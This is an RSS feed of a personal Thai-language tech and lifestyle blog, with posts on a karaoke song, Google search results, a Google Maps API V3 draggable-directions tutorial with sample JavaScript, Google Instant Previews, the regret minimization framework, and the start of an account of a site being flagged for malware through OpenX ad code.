<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>tanomsak.com</title>
	<atom:link href="http://www.tanomsak.com/index.php/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.tanomsak.com</link>
	<description>Random Thoughts on Random Things by Tanomsak</description>
	<lastBuildDate>Sat, 12 May 2012 02:14:50 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>ก่อนมะลิบาน?</title>
		<link>http://www.tanomsak.com/index.php/2012/05/524/</link>
		<comments>http://www.tanomsak.com/index.php/2012/05/524/#comments</comments>
		<pubDate>Sat, 12 May 2012 02:14:21 +0000</pubDate>
		<dc:creator>tanomsak</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.tanomsak.com/?p=524</guid>
		<description><![CDATA[เมื่อวานไปกินข้าว ร้องคาราโอเกะ ​(จริงๆไปฟังคนอื่นร้องมากกว่า) แล้วก็มาถึงเพลงเพลงนึง ที่เคยได้ยินผ่านๆหูมาบ้างแต่ไม่เคยสนใจ ประมาณว่าคนขับรถก็คิดว่ารถมันติดจังเลย แต่ถ้าไปถามเด็กขายพวงมาลัยกลับอยากให้ไฟแดงนานกว่านี้หน่อยเพราะจะได้ขายพวงมาลัยได้เยอะขึ้น คนอื่นคงจะได้ยินมานานจนซึ้งเสร็จกันไปเรียบร้อยแต่ผมเพิ่งเคยฟัง พอได้ยินแล้วก็ทำให้ได้นึกจริงๆว่า  ถ้ามองจากมุมคนอื่นบ้าง ถึงมันคงไม่ได้ทำให้เราอยากติดไฟแดงนานขึ้น อย่างน้อยอาจจะทำให้ได้คิดว่า โลกมันก็ไม่ได้เลวร้ายเกินไป]]></description>
			<content:encoded><![CDATA[<p>เมื่อวานไปกินข้าว ร้องคาราโอเกะ ​(จริงๆไปฟังคนอื่นร้องมากกว่า) แล้วก็มาถึงเพลงเพลงนึง ที่เคยได้ยินผ่านๆหูมาบ้างแต่ไม่เคยสนใจ</p>
<p>ประมาณว่าคนขับรถก็คิดว่ารถมันติดจังเลย แต่ถ้าไปถามเด็กขายพวงมาลัยกลับอยากให้ไฟแดงนานกว่านี้หน่อยเพราะจะได้ขายพวงมาลัยได้เยอะขึ้น</p>
<p><iframe src="http://www.youtube.com/embed/D7TOBxiiW_g" frameborder="0" width="420" height="315"></iframe></p>
<p>คนอื่นคงจะได้ยินมานานจนซึ้งเสร็จกันไปเรียบร้อยแต่ผมเพิ่งเคยฟัง พอได้ยินแล้วก็ทำให้ได้นึกจริงๆว่า  ถ้ามองจากมุมคนอื่นบ้าง ถึงมันคงไม่ได้ทำให้เราอยากติดไฟแดงนานขึ้น อย่างน้อยอาจจะทำให้ได้คิดว่า โลกมันก็ไม่ได้เลวร้ายเกินไป</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tanomsak.com/index.php/2012/05/524/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ผลการค้นหาที่น่าผิดหวังจาก Google</title>
		<link>http://www.tanomsak.com/index.php/2010/12/%e0%b8%9c%e0%b8%a5%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b8%84%e0%b9%89%e0%b8%99%e0%b8%ab%e0%b8%b2%e0%b8%88%e0%b8%b2%e0%b8%81-google-fail/</link>
		<comments>http://www.tanomsak.com/index.php/2010/12/%e0%b8%9c%e0%b8%a5%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b8%84%e0%b9%89%e0%b8%99%e0%b8%ab%e0%b8%b2%e0%b8%88%e0%b8%b2%e0%b8%81-google-fail/#comments</comments>
		<pubDate>Wed, 29 Dec 2010 11:37:57 +0000</pubDate>
		<dc:creator>tanomsak</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.tanomsak.com/?p=499</guid>
		<description><![CDATA[วันนี้นั้งหาข้อมูลอะไรไปเรื่อยเปื่อย แล้วพอเปลี่ยน keyword ไปเรื่อยจนมาถึง key phase อันนึง ก็ได้ผลการค้นหานี้มา มีผลการค้นหาตั้ง 49 ล้านหน้า ไหงหน้าแรก มันเหมือนกันหมดเลยอ่ะ เห้อ]]></description>
			<content:encoded><![CDATA[<p>วันนี้นั้งหาข้อมูลอะไรไปเรื่อยเปื่อย แล้วพอเปลี่ยน keyword ไปเรื่อยจนมาถึง key phase อันนึง ก็ได้ผลการค้นหานี้มา</p>
<p><a href="http://www.tanomsak.com/wp-content/uploads/2010/12/google-search-result-e1293622475107.png"><img class="size-full wp-image-500 alignleft" title="google-search-result" src="http://www.tanomsak.com/wp-content/uploads/2010/12/google-search-result-e1293622475107.png" alt="" width="600" height="680" /></a></p>
<p>มีผลการค้นหาตั้ง 49 ล้านหน้า ไหงหน้าแรก มันเหมือนกันหมดเลยอ่ะ เห้อ</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tanomsak.com/index.php/2010/12/%e0%b8%9c%e0%b8%a5%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b8%84%e0%b9%89%e0%b8%99%e0%b8%ab%e0%b8%b2%e0%b8%88%e0%b8%b2%e0%b8%81-google-fail/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>การหาเส้นทางแบบเปลี่ยนแปลงได้กับ Google Maps API</title>
		<link>http://www.tanomsak.com/index.php/2010/11/draggable-direction/</link>
		<comments>http://www.tanomsak.com/index.php/2010/11/draggable-direction/#comments</comments>
		<pubDate>Fri, 19 Nov 2010 13:34:39 +0000</pubDate>
		<dc:creator>tanomsak</dc:creator>
				<category><![CDATA[Google Maps]]></category>
		<category><![CDATA[Tutorial]]></category>

		<guid isPermaLink="false">http://www.tanomsak.com/?p=471</guid>
		<description><![CDATA[ไม่ได้เขียนถึง Google Maps API นานมาก เผลอแป๊บเดียว ตอนนี้ Google ได้ออกเวอร์ชั่นใหม่แล้วเป็น Google Maps API V3 แล้วครับ โดยที่ใช้งานดีขึ้น เร็วขึ้น และมี function ต่างๆมากขึ้นเยอะเลยครับ หลังจากโพสเรื่อง การหาเส้นทางโดย Google Maps API ไป มีคำถามเข้ามาเยอะแยะมากครับ แสดงว่าเริ่มมีคนสนใจเขียน Google Maps API กันเยอะขึ้นมาก น่าดีใจครับ วันนี้เลยจะมาเล่าเรื่อง function ใหม่ล่าสุดของการหาเส้นทางโดย Google Maps API ก็คือ Draggable Direction ครับ ถ้าเคยลองค้นหาเส้นทางใน Google Maps จะเห็นว่าหลังจากเราหาเส้นทางแล้ว เราจะสามารถเลื่อนเส้นทางเพื่อเปลี่ยนแปลงการเดินทางให้ผ่านถนนบางเส้นที่ต้องการได้  สมัยก่อนตัว API ทำไม่ได้ครับ คือพอได้เส้นทางแล้วก็จบแบบว่าเป็นเส้นแข็งๆ แต่เมื่อกลางเดือนกันยายน Google เพิ่งเพิ่มการเปลี่ยนเส้นทางเข้ามาใน API [...]]]></description>
			<content:encoded><![CDATA[<p>ไม่ได้เขียนถึง Google Maps API นานมาก เผลอแป๊บเดียว ตอนนี้ Google  ได้ออกเวอร์ชั่นใหม่แล้วเป็น Google Maps API V3 แล้วครับ  โดยที่ใช้งานดีขึ้น เร็วขึ้น และมี function ต่างๆมากขึ้นเยอะเลยครับ</p>
<p>หลังจากโพสเรื่อง <a href="http://www.tanomsak.com/index.php/2010/01/%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%AB%E0%B8%B2%E0%B9%80%E0%B8%AA%E0%B9%89%E0%B8%99%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%82%E0%B8%94%E0%B8%A2-google-maps-api-gdirection/">การหาเส้นทางโดย Google Maps API</a> ไป มีคำถามเข้ามาเยอะแยะมากครับ แสดงว่าเริ่มมีคนสนใจเขียน Google Maps API กันเยอะขึ้นมาก น่าดีใจครับ วันนี้เลยจะมาเล่าเรื่อง function ใหม่ล่าสุดของการหาเส้นทางโดย Google Maps API ก็คือ Draggable Direction ครับ</p>
<p>ถ้าเคยลองค้นหาเส้นทางใน Google Maps จะเห็นว่าหลังจากเราหาเส้นทางแล้ว เราจะสามารถเลื่อนเส้นทางเพื่อเปลี่ยนแปลงการเดินทางให้ผ่านถนนบางเส้นที่ต้องการได้  สมัยก่อนตัว API ทำไม่ได้ครับ คือพอได้เส้นทางแล้วก็จบแบบว่าเป็นเส้นแข็งๆ แต่เมื่อกลางเดือนกันยายน Google เพิ่งเพิ่มการเปลี่ยนเส้นทางเข้ามาใน API</p>
<p>document จาก Google ครับ <a href="http://code.google.com/apis/maps/documentation/javascript/services.html#DraggableDirections">http://code.google.com/apis/maps/documentation/javascript/services.html#DraggableDirections</a></p>
<p>ก่อนอื่นลองดูตัวอย่างว่าเรากำลังจะทำอะไรกันครับ <a href="http://www.tanomsak.com/tutorial-8.html">Draggable Direction Example</a> (ลองใช้ mouse จับเส้นทางลาก เพื่อเปลี่ยนเส้นทางครับ)</p>
<p>ทีนี้ลองมาดูกันครับว่ามันทำงานยังไง</p>
<pre class="brush: jscript; title: ; notranslate">
        function initialize() {
            var center = new google.maps.LatLng(13.732881766645967,100.48181533813477);
            var myOptions = {
                zoom: 12,
                center: center,
                scrollwheel: false,
                mapTypeControl: false,
                navigationControl: true,
                disableDefaultUI: true,
                streetViewControl: false,
                noClear: false,
                mapTypeId: google.maps.MapTypeId.ROADMAP
            };
            map = new google.maps.Map(document.getElementById(&quot;map&quot;), myOptions);

            var rendererOptions = {
                draggable: true
            };
            var directionsDisplay = new google.maps.DirectionsRenderer(rendererOptions);

            directionsDisplay.setMap(map);
            directionsDisplay.setPanel(document.getElementById(&quot;route&quot;));

            var directionsService = new google.maps.DirectionsService();

            var request = {
                origin: &quot;14.068, 100.6009&quot;,
                destination: &quot;13.8152, 100.5606&quot;,
                travelMode: google.maps.DirectionsTravelMode.DRIVING
            };
            directionsService.route(request, function(response, status) {
                if (status == google.maps.DirectionsStatus.OK) {
                    directionsDisplay.setDirections(response);
                }
            });
        }
</pre>
<p>ส่วนต้นๆของ function initialize จนถึงบรรทัด 14 เป็นการสร้างแผนที่ธรรมดา ตามวิธีของ Google Maps API V3 ครับ มาเริ่มน่าสนใจตั้งแต่บรรทัดที่ 16 ลงมา</p>
<p>ก่อนอื่นมาทำความเข้าใจกันก่อนครับ ว่าใน Google Maps API V3 เนี้ย การหาเส้นทางจะใช้ API หลักๆอยู่ 2 ตัวคือ</p>
<ol>
<li>google.maps.DirectionsService เอาไว้ request ให้ Google หาเส้นทางให้ โดยเราจะส่งค่า จุดเริ่มต้น จุดสิ้นสุด และวิธีการเดินทางว่าจะเอาเส้นทางแบบขับรถ หรือเดินเท้า ไปให้ Google และ Google ก็จะส่งผลลัพธ์กลับมาให้ครับ</li>
<li>google.maps.DirectionsRenderer เอาไว้แสดงผลลัพธ์ที่ Google ส่งกลับมาให้เราครับ</li>
</ol>
<p>โดยในบรรทัดที่ 16-22 เป็นการ define DirectionsRenderer เพื่อเอาไว้แสดงผลครับ</p>
<p>โดยเรากำหนดให้เส้นทางที่จะแสดงสามารถจัดเลื่อนได้ โดยการกำหนด parameter draggable : true ในตอนสร้าง DirectionsRenderer</p>
<p>จากนั้นในบรรทัดที่ 21 เรากำหนดให้ ตัวแสดงผลของที่ แสดงเส้นทางในแผนที่ (ตัวแปล map) ที่เราสร้างแผนที่ไว้ก่อนหน้าแล้ว</p>
<p>บรรทัดที่  22 เป็นการกำหนดให้แสดงคำอธิบายเส้นทาง ประมาณว่า &#8220;ตรงไป 1 กม. แล้วเลี่้ยวขวา&#8221; ใน markup ที่ที id = &#8220;route&#8221; ซึ่งเรากำหนด DIV ที่มี id = &#8220;route&#8221; เอาไว้แล้ว</p>
<p>แค่นี้ตัวแสดงผลของเราก็เรียบร้อย เหลือแค่การ request เส้นทางเท่านั้นเองครับ</p>
<p>ในบรรทัดที่ 24 เราก็สร้าง directionsService ขึ้นมาเพื่อเอาไว้ขอเส้นทาง</p>
<p>และเราขอเส้นทางกับ Google โดยใช้ method directionsService.route ครับ โดยรูปแบบการเรียกใช้งานคือ<br />
directionsService.route(request:<a href="http://code.google.com/apis/maps/documentation/javascript/reference.html#DirectionsRequest"><em>DirectionsRequest</em></a>, callback:function(<a href="http://code.google.com/apis/maps/documentation/javascript/reference.html#DirectionsResult"><em>DirectionsResult</em></a>,<a href="http://code.google.com/apis/maps/documentation/javascript/reference.html#DirectionsStatus">DirectionsStatus</a>)))</p>
<p>parameter ตัวแรก DirectionRequest ก็คือพวกระบุจุดเริ่มต้น จุดหมายปลายทาง วิธีการเดินทาง จะให้หลบทางด่วนไหม อะไรประมาณนี้ครับ ใครอยากดูทั้งหมดลองดูที่ (<a href="http://code.google.com/apis/maps/documentation/javascript/reference.html#DirectionsRequest"><em>DirectionsRequest</em></a>)</p>
<p>parameter ตัวที่สอง คือ callback function ที่จะทำงานหลังได้ผลลัพธ์จาก Google ครับ</p>
<p>ในตัวอย่างเราระบุจุดเริ่มต้น จุดหมายปลายทาง และวิธีการเดินทางดังนี้ครับ</p>
<pre class="brush: plain; title: ; notranslate">
var request = {
    origin: &quot;14.068, 100.6009&quot;,
    destination: &quot;13.8152, 100.5606&quot;,
    travelMode: google.maps.DirectionsTravelMode.DRIVING
};
</pre>
<p>และบรรทัดที่ 31 ก็ส่ง object request เป็น parameter แรกของ method route และกำหนดให้ callback function แสดงผลลัพธ์ด้วย method directionsDisplay.setDirections(response); ในบรรทัดที่ 33 ครับ</p>
<p>แต่ถ้า Google ไม่สามารถหาเส้นทางได้ status จะไม่เท่ากับ <code>google.maps.DirectionsStatus.OK เราก็จะไม่แสดงผลลัพธ์ครับ</code></p>
<p>แค่นี้ก็เป็นอันเสร็จครับ เส้นทางที่เราสร้างขึ้นก็จะสามารถจับเลื่อนได้ และหลังจากเปลี่ยนเส้นทางแล้ว Google จะแสดงเส้นทางใหม่พร้อม update คำอธิบายการเดินทางให้เองเลยครับ เห็นไหมครับ ว่า Google Maps API V3 เนี้ยเจ๋งจริงๆ</p>
<p>ถ้ามีคำถามตรงไหน เชิญใน Comment ได้เลยครับ <img src='http://www.tanomsak.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.tanomsak.com/index.php/2010/11/draggable-direction/feed/</wfw:commentRss>
		<slash:comments>22</slash:comments>
		</item>
		<item>
		<title>ขอคิดเรื่อง Google Instant Previews ด้วยคน</title>
		<link>http://www.tanomsak.com/index.php/2010/11/google-instant-previews/</link>
		<comments>http://www.tanomsak.com/index.php/2010/11/google-instant-previews/#comments</comments>
		<pubDate>Sat, 13 Nov 2010 03:28:53 +0000</pubDate>
		<dc:creator>tanomsak</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.tanomsak.com/?p=450</guid>
		<description><![CDATA[หายหน้าไปนานเลยครับ เพราะหลบไปอัพเดทเวป ddproperty.com อยู่ครับ เพิ่งจะปรับขนานใหญ่ไป เดี๋ยวจะเล่าให้ฟังวันหลังนะครับ เรื่องที่อยากจะพูดถึงวันนี้คือเรื่อง Google Instant Previews ครับ เนื่องจากได้อ่านความคิดเห็นของ Nutjang เรื่องนี่เข้าเลยอยากจะแชร์ความคิดของผมเองบ้างครับ Google นำเสนอ Instant Preview เพื่อพยายามกดดันเวปต่างๆให้คิดถึง Design และ User Experience ให้มากขึ้น เหมือนกับที่เพิ่งจะเอาความเร็วในการเปิดเวป เข้ามาเป็นตัวแปรในการ Ranking ผลการค้นหา แน่นอนว่าการตัดสินใจต่างๆของ Google จริงๆแล้ว ก็มีเป้าหมายเพื่อรายได้ที่มากขึ้น เช่นถ้าเปิดเวปเร็วขึ้น ก็มีโอกาศได้แสดง AdSense มากขึ้น และ Google เองก็มีโอกาศได้รายได้จาก AdWords เพิ่มขึ้นไปด้วย ปัจจุบันพฤติกรรมของผู้ใช้งาน Internet ยังเป็นแบบ trial and error คือ Click เข้าไปดูก่อน ถ้าไม่ใช่ที่ต้องการก็ Back กลับ ซึ่งบ่อยครั้งที่การทำ SEO โดยไม่นึกถึง User Experience [...]]]></description>
			<content:encoded><![CDATA[<p>หายหน้าไปนานเลยครับ เพราะหลบไปอัพเดทเวป ddproperty.com อยู่ครับ เพิ่งจะปรับขนานใหญ่ไป เดี๋ยวจะเล่าให้ฟังวันหลังนะครับ เรื่องที่อยากจะพูดถึงวันนี้คือเรื่อง Google Instant Previews ครับ เนื่องจากได้อ่านความคิดเห็นของ <a href="http://nutjang.blogspot.com/2010/11/2-google.html">Nutjang</a> เรื่องนี่เข้าเลยอยากจะแชร์ความคิดของผมเองบ้างครับ</p>
<ol>
<li>Google นำเสนอ Instant Preview เพื่อพยายามกดดันเวปต่างๆให้คิดถึง Design และ User Experience ให้มากขึ้น เหมือนกับที่เพิ่งจะเอาความเร็วในการเปิดเวป เข้ามาเป็นตัวแปรในการ Ranking ผลการค้นหา แน่นอนว่าการตัดสินใจต่างๆของ Google จริงๆแล้ว ก็มีเป้าหมายเพื่อรายได้ที่มากขึ้น เช่นถ้าเปิดเวปเร็วขึ้น ก็มีโอกาศได้แสดง AdSense มากขึ้น และ Google เองก็มีโอกาศได้รายได้จาก AdWords เพิ่มขึ้นไปด้วย</li>
<li>ปัจจุบันพฤติกรรมของผู้ใช้งาน Internet ยังเป็นแบบ trial and error คือ Click เข้าไปดูก่อน ถ้าไม่ใช่ที่ต้องการก็ Back กลับ ซึ่งบ่อยครั้งที่การทำ SEO โดยไม่นึกถึง User Experience หรือการอัด AdSense ซะเต็มหน้าทำให้ผู้ใช้งาน ต้องเข้าๆออกๆเวปเป็นจำนวนมาก โดยที่ไม่เจอหน้าที่ต้องการ ถ้ามองในแง่นี้ Google Instant Preview ก็ดูสมเหตุสมผล เข้ากับทิศทางการหารายได้ของ Google ที่ต้องการให้มีเวป &#8220;คุณภาพ&#8221; เยอะๆ<br />
<a href="http://www.tanomsak.com/wp-content/uploads/2010/11/viewpattern.png"><img class="aligncenter size-full wp-image-454" title="viewpattern" src="http://www.tanomsak.com/wp-content/uploads/2010/11/viewpattern.png" alt="" width="546" height="290" /></a><br />
(รูปประกอบจากหนังสือ <a href="http://www.amazon.com/Think-Common-Sense-Approach-Usability/dp/0789723107">Don&#8217;t Make Me Think</a>)</li>
<li>แต่จากการทดลองใช้ Google Instant Preview ผมคิดว่า มันยังทำงานช้าเกินที่ เรียกว่าช้าเกินกว่าที่จะมี Impact กับการตัดสินใจ Click คือผมคงไม่รอ 0.5 &#8211; 1 วินาที เพื่อให้ Preview แสดง ก่อนจะตัดสินใจกด Link เพราะว่าแต่ละหน้ามีผลการค้นหา 10 อัน การ Scan แล้ว Click น่าจะสอดคล้องการรูปแบบการใช้งานมากกว่า รอ Preview ทีละอัน</li>
<li>ที่สำคัญอีกข้อนึงคือ Preview มันบัง Ads ด้านขวามือครับ ลองดูผลการค้นหาคำว่า &#8220;<a href="http://www.ddproperty.com">บ้านมือสอง</a>&#8221; ข้างล่างครับ<a href="http://www.tanomsak.com/wp-content/uploads/2010/11/google11.png"><img class="aligncenter size-full wp-image-458" title="google1" src="http://www.tanomsak.com/wp-content/uploads/2010/11/google11.png" alt="" width="640" /></a><a href="http://www.tanomsak.com/wp-content/uploads/2010/11/google21.png"><img class="aligncenter size-full wp-image-459" title="google2" src="http://www.tanomsak.com/wp-content/uploads/2010/11/google21.png" alt="" width="640" /></a>เห็นไหมครับ ว่า Preview บัง Ads ทำให้คิดว่า Google ต้องมีการปรับรูปแบบ Preview แน่นอนในอนาคตอันไม่ไกล</li>
<li>ส่วนตัวผมชอบที่ Web Design จะมีผลมากขึ้น เพราะโดยรวมเราน่าจะมีเวปที่มีคุณภาพมากขึ้น แต่ผมยังไม่ชอบ Google Instant Preview เนื่องจากมันทำงานช้าเกินไป และทำ Interaction ระหว่างผู้ใช้งานและ Google ช้าขึ้น ผมเลยไม่แน่ใจว่าเจ้า Google Instant Preview จะอยู่รอดไปนานแค่ไหนครับ</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.tanomsak.com/index.php/2010/11/google-instant-previews/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Regret Minimization Framework</title>
		<link>http://www.tanomsak.com/index.php/2010/05/regret-minimization-framework/</link>
		<comments>http://www.tanomsak.com/index.php/2010/05/regret-minimization-framework/#comments</comments>
		<pubDate>Sun, 23 May 2010 08:39:03 +0000</pubDate>
		<dc:creator>tanomsak</dc:creator>
				<category><![CDATA[คิดอะไรไปเรื่อยเปื่อย]]></category>

		<guid isPermaLink="false">http://www.tanomsak.com/?p=437</guid>
		<description><![CDATA[วันนี้อ่าน blog ของคุณ Tony Wright เรื่องการตัดสินใจลาออกจาก CEO ของ RescueTime เลยได้ดู บทสัมภาษส์ Jeff Bezos ผู้ก่อตั้ง Amazon ลองดู Video ข้างล่างครับ Jeff เล่าถึงตอนเค้าลาออกจากบริษัทเก่า ก่อนมาก่อตั้ง Amazon ว่า ถ้าเค้าลองคิดถึงในอนาคต ว่าตอนเค้าอายุ 80 ปี แล้วมองย้อนกลับมา การตัดสินใจแบบไหน จะให้เค้าเสียใจน้อยที่สุด และเรียกขบวนการคิดแบบนี้ว่า &#8220;Regret Minimization Framework&#8221; พอดูแล้วทำให้คิดถึงเรื่องนึงในอดีตครับ คือมีเพื่อนผมคนนึงเคยมาปรึกษา ปัญหาคือเพื่อนผมเค้าสอบติดนักบินของสายการบินหนึ่ง และกำลังตัดสินใจว่าจะตกลงใจเซ็นสัญญาเข้าเรียนและเดินไปในอาชีพนักบินดีหรือไม่ ดูเผินๆเหมือนจะดีนะครับ สอบได้นักบิน ทั้งเท่และรายได้ดี แต่ปัญหาคือ การจะเป็นนักบินต้องมี commitment สูงมาก ค่าใช้จ่ายในการเรียนว่าที่นักบินต้องเซ็นสัญญากู้เพื่อมาเรียน หลายล้านบาท และ ติดสัญญากับสายการบินเป็นระยะเวลาหลายปีเพื่อผ่อนใช้ค่าเรียน ซึ่งจริงๆแล้วสามารถจ่ายได้สบายมาก เนื่องจากรายได้สูงมาก ลอง สมมติว่าต้องผ่อนอยู่ 10 ปี [...]]]></description>
			<content:encoded><![CDATA[<p>วันนี้อ่าน blog ของคุณ <a title="http://www.tonywright.com/2010/stepping-down-as-ceo-of-rescuetime/" href="http://">Tony Wright</a> เรื่องการตัดสินใจลาออกจาก CEO ของ <a href="http://www.rescuetime.com/">RescueTime</a> เลยได้ดู บทสัมภาษส์ Jeff Bezos ผู้ก่อตั้ง Amazon ลองดู Video ข้างล่างครับ</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="350" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://www.youtube.com/v/jwG_qR6XmDQ&amp;feature" /><embed type="application/x-shockwave-flash" width="425" height="350" src="http://www.youtube.com/v/jwG_qR6XmDQ&amp;feature"></embed></object></p>
<p>Jeff เล่าถึงตอนเค้าลาออกจากบริษัทเก่า ก่อนมาก่อตั้ง Amazon ว่า ถ้าเค้าลองคิดถึงในอนาคต ว่าตอนเค้าอายุ 80 ปี แล้วมองย้อนกลับมา การตัดสินใจแบบไหน จะให้เค้าเสียใจน้อยที่สุด และเรียกขบวนการคิดแบบนี้ว่า &#8220;Regret Minimization Framework&#8221;</p>
<p>พอดูแล้วทำให้คิดถึงเรื่องนึงในอดีตครับ คือมีเพื่อนผมคนนึงเคยมาปรึกษา ปัญหาคือเพื่อนผมเค้าสอบติดนักบินของสายการบินหนึ่ง และกำลังตัดสินใจว่าจะตกลงใจเซ็นสัญญาเข้าเรียนและเดินไปในอาชีพนักบินดีหรือไม่</p>
<p>ดูเผินๆเหมือนจะดีนะครับ สอบได้นักบิน ทั้งเท่และรายได้ดี แต่ปัญหาคือ การจะเป็นนักบินต้องมี commitment สูงมาก ค่าใช้จ่ายในการเรียนว่าที่นักบินต้องเซ็นสัญญากู้เพื่อมาเรียน หลายล้านบาท และ ติดสัญญากับสายการบินเป็นระยะเวลาหลายปีเพื่อผ่อนใช้ค่าเรียน ซึ่งจริงๆแล้วสามารถจ่ายได้สบายมาก เนื่องจากรายได้สูงมาก</p>
<p>ลอง สมมติว่าต้องผ่อนอยู่ 10 ปี คุณมั่นใจไหมครับ ว่าจะทำงานหนึ่งๆอย่างมีความสุขได้ 10 ไม่ออก ไม่อยากเปลี่ยนงาน? นั้นแหละครับปัญหา เพื่อนผมก็ไม่มั่นใจว่ารักในการเป็นนักบินไหม และถ้าไม่ชอบเป็นนักบินจะทำยังไง เงินก็กู้ไปแล้ว</p>
<p>ในที่สุดเค้าก็ตัดสินใจไม่เป็นนักบิน เพราะเมื่อเทียบกันความเสียใจ ระหว่าง ติดสัญญา 10+ ทนทำในสิ่งที่เค้า &#8220;อาจ&#8221; ไม่ชอบ กับ ความเสียใจ ที่ไม่ได้รายได้สูงๆแบบนักบิน เค้าคิดว่าเค้าทนไม่ได้กับข้อแรกมากกว่า แต่นั้นก็เป็นการตัดสินใจหนึ่งของคนหนึ่งนะครับ</p>
<h3><strong>ถ้าใครมีปัญหายากๆต้องตัดสินใจ ลองถามตัวเองดูนะครับว่า ในกรณีที่แย่ที่สุดของทุกทางเลือก ทางเลือกไหนทำให้เราเสียใจน้อยที่สุด</strong></h3>
]]></content:encoded>
			<wfw:commentRss>http://www.tanomsak.com/index.php/2010/05/regret-minimization-framework/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>แก้ปัญหา เวป ddproperty.com</title>
		<link>http://www.tanomsak.com/index.php/2010/03/%e0%b9%80%e0%b8%a1%e0%b8%b7%e0%b9%88%e0%b8%ad%e0%b9%80%e0%b8%a7%e0%b8%9b-ddproperty-com-%e0%b9%82%e0%b8%94%e0%b8%99%e0%b8%a3%e0%b8%b0%e0%b8%9a%e0%b8%b8%e0%b8%a7%e0%b9%88%e0%b8%b2%e0%b9%80%e0%b8%9b/</link>
		<comments>http://www.tanomsak.com/index.php/2010/03/%e0%b9%80%e0%b8%a1%e0%b8%b7%e0%b9%88%e0%b8%ad%e0%b9%80%e0%b8%a7%e0%b8%9b-ddproperty-com-%e0%b9%82%e0%b8%94%e0%b8%99%e0%b8%a3%e0%b8%b0%e0%b8%9a%e0%b8%b8%e0%b8%a7%e0%b9%88%e0%b8%b2%e0%b9%80%e0%b8%9b/#comments</comments>
		<pubDate>Wed, 31 Mar 2010 13:26:30 +0000</pubDate>
		<dc:creator>tanomsak</dc:creator>
				<category><![CDATA[Project]]></category>

		<guid isPermaLink="false">http://www.tanomsak.com/?p=418</guid>
		<description><![CDATA[เมื่อวันที่ 22 มีนาคม เกิดปัญหาขึ้นกับเวป ddproperty.com ครับ เรื่องของเรื่องมีอยู่ว่า Chrome ไม่ยอมให้ผมเข้าเวป โดยแจ้งว่า อาจจะติด Malware ได้ ปฎิกิริยาแรกคือ เหงื่อตก &#8211; -&#8221; โดนอะไรเข้า (วะ) เนี้ย พอลองหาข้อมูลดู เลยพบว่าเวปเราโดน Google เข้าใจว่ามีการเรียกเวปที่เป็น Trojan จากเวป ddproperty.com บางหน้า Google ก็บอกให้ไปดู Guide line ยาวเยียดเลย พอผมบ่นไปทาง twitter คุณ @iampz แนะนำมาว่าให้เข้าไปดูใน Webmaster Tool ผมเลยได้แบะแสว่ามันมาจาก openx (ขอบคุณ @iampz อีกทีครับ) เพราะใน section Labs ของ Webmaster Tool แจ้งว่า openx code เป็นปัญหา [...]]]></description>
			<content:encoded><![CDATA[<p>เมื่อวันที่ 22 มีนาคม เกิดปัญหาขึ้นกับเวป ddproperty.com ครับ เรื่องของเรื่องมีอยู่ว่า Chrome ไม่ยอมให้ผมเข้าเวป โดยแจ้งว่า อาจจะติด Malware ได้ ปฎิกิริยาแรกคือ เหงื่อตก &#8211; -&#8221; โดนอะไรเข้า (วะ) เนี้ย</p>
<p>พอลองหาข้อมูลดู เลยพบว่าเวปเราโดน Google เข้าใจว่ามีการเรียกเวปที่เป็น Trojan จากเวป ddproperty.com บางหน้า Google ก็บอกให้ไปดู Guide line ยาวเยียดเลย พอผมบ่นไปทาง twitter คุณ <a href="http://twitter.com/iampz/">@iampz</a> <a href="http://twitter.com/iampz/statuses/10874122643">แนะนำ</a>มาว่าให้เข้าไปดูใน Webmaster Tool ผมเลยได้แบะแสว่ามันมาจาก openx (ขอบคุณ @iampz อีกทีครับ) เพราะใน section Labs ของ Webmaster Tool แจ้งว่า openx code เป็นปัญหา</p>
<p style="text-align: center;"><a href="http://www.tanomsak.com/wp-content/uploads/2010/03/malware-e1269337353820.png"><img class="aligncenter size-full wp-image-422" title="malware" src="http://www.tanomsak.com/wp-content/uploads/2010/03/malware-e1269337353820.png" alt="" width="640" height="400" /></a></p>
<p><span id="more-418"></span></p>
